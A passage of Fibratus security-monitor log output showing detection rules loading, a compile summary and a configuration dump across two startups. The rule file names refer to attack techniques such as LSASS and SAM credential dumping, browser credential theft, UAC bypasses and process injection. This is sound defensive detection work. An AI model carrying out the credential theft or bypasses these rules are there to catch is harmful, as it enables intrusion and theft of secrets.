C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:02:03+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T16:02:03+01:00 level=info msg=bootstrapping with pid 7716. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T16:02:03+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ port=>25 to=>[] use-template=>true enabled=>false content-type=>text/html]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ flush-interval=>1s enable-threadpool=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false enable-fileio=>true enable-audit-api=>true enable-thread=>true min-buffers=>16 enable-net=>true stack-enrichment=>true enable-image=>true enable-vamap=>true enable-handle=>false enable-registry=>true max-buffers=>36 buffer-size=>512 enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 formatter=>text max-backups=>15 max-age=>0 log-stdout=>true level=>info] + output ......................... [ eventlog=>[ level=>info enabled=>false] amqp=>[ durable=>false timeout=>5s enabled=>false exchange=>fibratus passive=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false routing-key=>fibratus exchange-type=>topic delivery-mode=>transient vhost=>/] http=>[ endpoints=>[] enabled=>false tls-insecure-skip-verify=>false serializer=>json method=>POST enable-gzip=>false timeout=>5s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] elasticsearch=>[ trace-log=>false sniff=>false bulk-workers=>1 flush-period=>1s healthcheck=>true template-name=>fibratus healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck-timeout=>5s index-name=>fibratus timeout=>5s enabled=>false]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-registry=>false fastscan=>true scan-timeout=>10s skip-files=>false skip-allocs=>false skip-mmaps=>false excluded-files=>[] excluded-procs=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T16:02:03+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T16:02:05+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T16:03:18+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T16:03:18+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T16:03:18+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T16:03:33+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:03:33+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: 